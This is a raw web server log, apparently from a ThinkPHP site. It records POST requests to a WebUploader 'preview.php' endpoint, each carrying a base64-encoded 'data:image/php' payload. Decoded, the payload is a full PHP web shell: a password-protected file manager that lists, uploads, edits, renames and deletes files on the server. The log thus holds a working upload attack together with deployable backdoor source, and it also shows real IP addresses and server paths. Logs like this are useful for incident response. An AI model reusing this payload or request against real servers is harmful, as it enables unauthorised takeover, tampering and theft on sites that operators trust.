WYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'default' => 'Public', 'Hui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:20+08:00 ] 119.42.146.234 POST 59.110.137.245/services/cepingka/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002784s] [吞吐率:359.19req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'services', 2 => 'cepingka', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAg